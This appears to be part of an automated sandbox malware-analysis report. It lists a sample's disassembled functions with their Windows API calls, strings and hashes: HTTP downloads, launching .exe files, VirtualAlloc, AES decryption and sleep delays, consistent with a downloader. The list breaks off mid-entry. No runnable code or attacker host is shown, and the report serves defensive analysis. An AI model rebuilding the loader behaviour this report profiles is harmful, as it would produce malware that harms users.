Instruction Fuzzy Hash: 15F01CB161430457E7147F65ED1B7173EA4970271CFA006ADD8141F2C2E7FB861A8BE6

Function 10001523 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 192
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000152A
__cftof.LIBCMT ref: 10001624
InternetOpenA.WININET(?,?,?,00000000,00000000), ref: 1000163D
InternetSetOptionA.WININET(00000000,00000041,?,00000004), ref: 10001660
InternetConnectA.WININET(00000000,?,00000050,?,?,00000003,00000000,00000001), ref: 10001680
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,80400000,00000001), ref: 100016B0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 100016C9
InternetCloseHandle.WININET(00000000), ref: 100016E0
InternetCloseHandle.WININET(00000000), ref: 100016E3
InternetCloseHandle.WININET(00000000), ref: 100016E9

Strings

GET, xrefs: 100016AA
http://, xrefs: 10001567

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectH_prolog3_OptionSend__cftof
String ID: GET$http://
API String ID: 1233269984-1632879366
Opcode ID: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction ID: 7cfd31fe4164df5669dc4f011f358c4066a4bf273ac9d15a63e71752a24e0b34
Opcode Fuzzy Hash: 6ef726b70a96d5212e420baa69142e1171cf0ccdfb6c98ffbdd36cdffced8e0e
Instruction Fuzzy Hash: D5518F75E01618EBEB11CBE4CC85EEEB7B9EF48340F508114FA11BB189D7B49A45CBA0

Function 00401800 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 106
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401873
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 00401899
HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018BF

Part of subcall function 00402470: Concurrency::cancel_current_task.LIBCPMT ref: 00402599

HttpAddRequestHeadersA.WININET(?,00000000,00000000,20000000), ref: 004018E5

Strings

Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 00401877
GET, xrefs: 004020B7
text, xrefs: 00401B5F
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 00401832
http://, xrefs: 00401EC4, 004021A3
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 004018C3
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 0040189D

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: HeadersHttpRequest$Concurrency::cancel_current_task
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$text
API String ID: 2146599340-4172842843
Opcode ID: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction ID: d9449a1bc553b4f7263359658e85a8d5597bae1f9675cad689ed873ec2693fe7
Opcode Fuzzy Hash: 63080466dd17a9b8a4ff43f685a9b199d52acbea20d3452c9180351abca4782c
Instruction Fuzzy Hash: A4316371D00109AFEB14DBE9CC85FEEB7B9EB08714F60812AE521731C0C7789945CBA4

Function 04D1003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04D1024D

Strings

kernel32.dll, xrefs: 04D1008F, 04D10095
cess, xrefs: 04D1018D

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 154a8ab1909e446166ca7e8a6bb3bf11d41d03e6729698bca36e6e6beee54fa4
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 2F528974A00229DFDB65DF58D984BACBBB1BF09304F1480D9E94DAB761DB30AA84DF14

Function 10001175 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 264
networkcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000117F
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 100011DD
InternetReadFile.WININET(?,?,000003E8,?), ref: 100011FB
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 10001298
CoCreateInstance.OLE32(?,00000000,00000001,100111B0,?), ref: 100012CA

Strings

text, xrefs: 10001327

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction ID: b002d723a568eb8b1b2c33cfea8b8604ab2d7fe63d6740fb25dc42610badb9b0
Opcode Fuzzy Hash: f206d19b4f254f0d6769d041d1967d247a093756c437c0eb0d60e70cbfafb4d3
Instruction Fuzzy Hash: 62B14975900229AFEB65CF24CC85BDAB7B8FF09355F1041D9E508A7265DB70AE80CF90

Function 00405A30 Relevance: 8.2, APIs: 2, Strings: 3, Instructions: 678sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004107E2: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,00405A7F,00000000,92291A76), ref: 004107F7
Part of subcall function 004107E2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00410816

Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

SUB=, xrefs: 00405A98
U%, xrefs: 00406916
get, xrefs: 00405E91

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Time$FileSleepSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: SUB=$get$U%
API String ID: 2563648476-1840017472
Opcode ID: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction ID: c38411781881cdafda6c84006562c20812e5f10be50bcbbeaff71a156a434d29
Opcode Fuzzy Hash: 167d1afffcf2c6992d5677df203f6ddfa97db10191ac7580195699f566a7dfe0
Instruction Fuzzy Hash: 04323171D101089BCB19FBB5C95AADE73786F14308F50817FE856771C2EE7C6A08CAA9

Function 10001F20 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 182
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10005956: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10001F48,00000000), ref: 10005969
Part of subcall function 10005956: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000599A

CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 1000212B
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 10002155

Strings

.exe, xrefs: 1000206B
open, xrefs: 1000214F

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Time$CreateExecuteFileProcessShellSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: .exe$open
API String ID: 1627157292-49952409
Opcode ID: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction ID: 97952a91a625a221cb26b3956644a393a6e3da00256d77b8c5daa8cab0653b15
Opcode Fuzzy Hash: 56d22cbb363ef52b0cda4d79fccaca7080f97512d5dca005a7fc8db3fc5e430b
Instruction Fuzzy Hash: 40514B715083809BE724DF64C881EDFB7E8FB95394F004A2EF69986195DB70A944CB62

Function 00401E20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

http://, xrefs: 004021A3

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: http://
API String ID: 0-1121587658
Opcode ID: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction ID: 09126ff878240097ddd60f0c8300d9112e53121ff3c2cf1df5c9ef382bee38eb
Opcode Fuzzy Hash: 9432e62186f2f9598efc4e2b603940abe351034223c82a34c2a9509acc0423bb
Instruction Fuzzy Hash: 1A518E71E002099FDF14CFA9C895BEEB7B9EB08304F10812EE915BB6C1C779A944CB94

Function 004021F0 Relevance: 4.6, APIs: 3, Instructions: 53
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00402226
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00402247
CloseHandle.KERNEL32(00000000), ref: 0040224E

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction ID: 5700bef43f604e24781938fdb315806f7bd82b17c931dadbe0ad0f8cbe635642
Opcode Fuzzy Hash: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction Fuzzy Hash: 2B01D272600208ABDB20DBA8DD49FAEB7E8EB48714F40417EFA05A62D0CBB46945C758

Function 00410536 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(08758BC2,?,00410530,00000016,0040CDA2,?,08758BC2,92291A76,0040CDA2,08758BC2), ref: 00410547
TerminateProcess.KERNEL32(00000000,?,00410530,00000016,0040CDA2,?,08758BC2,92291A76,0040CDA2,08758BC2), ref: 0041054E
ExitProcess.KERNEL32 ref: 00410560

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction ID: 67797f44d9d46dd495823d9566bad27c4dc507fd550e6630b3786a266b8fea83
Opcode Fuzzy Hash: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction Fuzzy Hash: A0D09E31000108FBCF11AF61DC0D8CD3F26AF40355B008035BD0945131DFB59DD69E48

Function 004132B1 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132C7
GetLastError.KERNEL32(00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132D2

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction ID: d8d9c1c0f29fd1ae3c391d4f931883298020c9469a54bb124b4f82b2896bf902
Opcode Fuzzy Hash: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction Fuzzy Hash: E6E0E6356002146BCB113FB5AC097D57F68AB44759F114076F60C96161D6398996879C

Function 04D10E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00000400,?,?,04D10223,?,?), ref: 04D10E19
SetErrorMode.KERNEL32(00000000,?,?,04D10223,?,?), ref: 04D10E1E

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: fa990c87b63ba4385ae1a8ea0be8238145ff818bc65649bef568f2eb2db3f7b6
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: BAD0123114512877DB013A95DC09BCD7B1CDF05B62F008011FB0DD9480C770954046E5

Function 00413C79 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction ID: d9d624181c4160d02ab49c773ca7be82655902724fa9057d6622eb650e71da69
Opcode Fuzzy Hash: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction Fuzzy Hash: BAE0E53350013057D6213F668C007DB7A4C9F413A2F180167EC18B62D0FA6CCE8141ED

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000000.00000002.2667782007.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2667767061.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667799628.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2667814596.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
Opcode Fuzzy Hash: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 009B60C0 Relevance: 1.5, APIs: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 009B9A92

Memory Dump Source

Source File: 00000000.00000002.2664793231.00000000009B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b1000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d25865e24d2eb52b00f81165beb0173c2a60e3fb98c252fffc7e89b88935b4d9
Instruction ID: fc7a59f15553a427745eb9336aedd69959596315e6a5c61f6aff8754d3c4fc08
Opcode Fuzzy Hash: d25865e24d2eb52b00f81165beb0173c2a60e3fb98c252fffc7e89b88935b4d9
Instruction Fuzzy Hash: EDF0FFB290C600DFC344AF28858502AFBE0FF68310F528C2DDAC583614C339A890DF47

Function 00F4CDBD Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00F4CE0E

Memory Dump Source

Source File: 00000000.00000002.2665403133.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F4C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f4c000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d3a0f0e34705603d00001e7400ff102e39f7e4448a6300f45dc9523e24f2ee24
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 5A113F79A00208EFDB01DF98C985E99BFF5AF08350F058094F9489B362D375EA90EF80

Function 00402E30 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402E3F

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction ID: eb79ea19b3e1abf3f5b24c483eecae43203cd8e5c5511bfeef65b24117358006
Opcode Fuzzy Hash: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction Fuzzy Hash: 17C0483200020DFBCF025FD1EC048DA7F2AFB09260B00C020FA1844032C773A931ABA5

Function 00402E50 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402E5C

Memory Dump Source

Source File: 00000000.00000002.2664608279.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction ID: a3fa6bbe5c1a250ebea8c2fc35f655263c95a0ace9f7750fc45cf9fcc5ecde2d
Opcode Fuzzy Hash: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction Fuzzy Hash: 5CB0923204020CFBCF025F81EC048D93F6AFB0C261B408020FA1C44031C7339675AB84

Non-executed Functions

Function 04D13F87 Relevance: 43.8, APIs: 20, Strings: 4, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,0042C014,0041F068,00000000), ref: 04D13FF1
Sleep.KERNEL32(000003E8), ref: 04D14189
__Init_thread_footer.LIBCMT ref: 04D1475E
__Init_thread_footer.LIBCMT ref: 04D14924
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,04D16D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04D14B2E
__Init_thread_footer.LIBCMT ref: 04D14BBC
__Init_thread_footer.LIBCMT ref: 04D14E25
CoInitialize.OLE32(00000000), ref: 04D14EA6
CoCreateInstance.COMBASE(0041F290,00000000,00000001,0041F260,?), ref: 04D14EC1
__Init_thread_footer.LIBCMT ref: 04D15324
Sleep.KERNEL32(00000BB8,00000000,?,04D16CE8,0041D8A0,0042DB20,0042DB21), ref: 04D1553C
__Init_thread_footer.LIBCMT ref: 04D15632
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,04D16D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04D14F2F

Part of subcall function 04D20A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04D15CE6,00000000,0042C014), ref: 04D20A5E
Part of subcall function 04D20A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D20A7D

__Init_thread_footer.LIBCMT ref: 04D1428D

Part of subcall function 04D19EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EAC
Part of subcall function 04D19EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19EDF

Part of subcall function 04D12457: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 04D1248D
Part of subcall function 04D12457: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 04D124AE
Part of subcall function 04D12457: CloseHandle.KERNEL32(00000000), ref: 04D124B5

__Init_thread_footer.LIBCMT ref: 04D14469

Part of subcall function 04D19EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EF7
Part of subcall function 04D19EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19F34

Strings

viFO, xrefs: 04D14B41
]DFE, xrefs: 04D148A7
KDOX, xrefs: 04D14B4B
^OX*, xrefs: 04D14DD2

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$CriticalSection$File$CreateEnterLeavePathSleepTime$ByteCharCloseFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@WideWrite__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 529012138-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: 5060a589ce501807df7cc00a1e4d9e6448dfb3b5ded3f5ab7aa13a2d67f19864
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction Fuzzy Hash: FBF202B0E04254AFEB24CF24EC58B9DBBB1EF45308F1442D8D8096B2A1DB75BA85CF55

Function 04D13817 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042C014), ref: 04D13897
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04D138BB
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04D13925
GetLastError.KERNEL32 ref: 04D1392F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04D13957
GetLastError.KERNEL32 ref: 04D13961
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04D13971
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04D13A33
CryptDestroyKey.ADVAPI32(?), ref: 04D13AA5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04D13873

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction ID: 21f841d496b464425e78b01d0871418c29d321dcd34825616e799a9663c90346
Opcode Fuzzy Hash: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction Fuzzy Hash: D2815271B00218AFEF249F24DC45B99BBB5FF45300F1481A9E94DA72A1DB31AE85CF51

Function 04D151B7 Relevance: 12.9, APIs: 5, Strings: 2, Instructions: 621sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 04D20A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04D15CE6,00000000,0042C014), ref: 04D20A5E
Part of subcall function 04D20A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D20A7D

Part of subcall function 04D19EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04D19EF7
Part of subcall function 04D19EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04D19F34

__Init_thread_footer.LIBCMT ref: 04D15324
Sleep.KERNEL32(00000BB8,00000000,?,04D16CE8,0041D8A0,0042DB20,0042DB21), ref: 04D1553C
__Init_thread_footer.LIBCMT ref: 04D15632
Sleep.KERNEL32(000007D0), ref: 04D1599C
Sleep.KERNEL32(000007D0), ref: 04D159B6

Strings

DFEK, xrefs: 04D155C3
updateSW, xrefs: 04D158C2

Memory Dump Source

Source File: 00000000.00000002.2667150208.0000000004D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4d10000_file.jbxd

Yara matches

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTime$EnterFileLeaveSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$updateSW
API String ID: 3554146954-1114742100
Opcode ID: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction ID: 25e33fc9971de52fc4fd73f490c5c8c60a2569013bfdc712dcef4680a21c23ec
Opcode Fuzzy Hash: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction Fuzzy Hash: 5C3239B0E00254ABEF24DF24EC6879DBBB1EF45304F1441E9D8096B2A1DB79BA84CF55

Function 009A076A Relevance: 11.7, Strings: 8, Instructions: 1694COMMON

Download Yara Rule

Strings

%j~~, xrefs: 009A1889
1}o|, xrefs: 009A1C2F
(xn, xrefs: 009A157D
!3M, xrefs: 009A19A2
_m_g, xrefs: 009A0E5E
W;m, xrefs: 009A185D
"=, xrefs: 009A0B44
WQp_, xrefs: 009A0932

Memory Dump Source

Source File: 00000000.00000002.2664793231.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: !3M$"=$%j~~$1}o|$WQp_$_m_g$(xn$W;m
API String ID: 0-1256203750
Opcode ID: 43224bdd25edf3cd647e313b6fc372e26281ffc7aa97826d06acc6f3f334db7a
Instruction ID: d6abe8f475e0eacacdb01f41d916fcddc15cca9a71da71b9b6742f4696070e31
